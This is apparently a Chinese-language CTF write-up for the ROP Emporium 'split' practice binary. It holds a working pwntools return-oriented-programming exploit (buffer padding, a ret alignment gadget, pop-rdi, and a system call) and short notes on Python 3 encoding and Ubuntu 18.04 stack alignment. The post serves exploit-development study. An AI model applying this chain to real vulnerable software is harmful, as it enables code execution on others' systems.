split
上一次的坑这一次碰到了,ROPEmporium ret2win里面说当时函数无法成功运行,搜索的结果是十六进制对齐的问题。在那个问题里因为限定了读取的长度为50,而要进行对其至少要40 + 8*3 已经超过了。在这次遇到了这个问题
环境: ubuntu18.04 、 pwntools(py3)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import *
elf = context.binary = ELF('split')
info('%#X system', elf.symbols.system) system = p64(elf.symbols.system)
print_flag = p64(elf.symbols.usefulString)
io = process(elf.path)
payload = bytes('A','latin-1') * 40 payload += p64(0x400884) payload += p64(0x400883) payload += p64(0x601060) payload += p64(0x4005e0)
io.sendline(payload)
io.recvuntil('> ') flag = io.recvall() print('FLAG: ' + str(flag,'utf-8'))
|
python3 版本的pwntools。
其中str转bytes处要用latin-1编码,是py3和py2的区别。
在gadget之前要添加一个ret,这里是ubuntu18.04的内存对齐问题。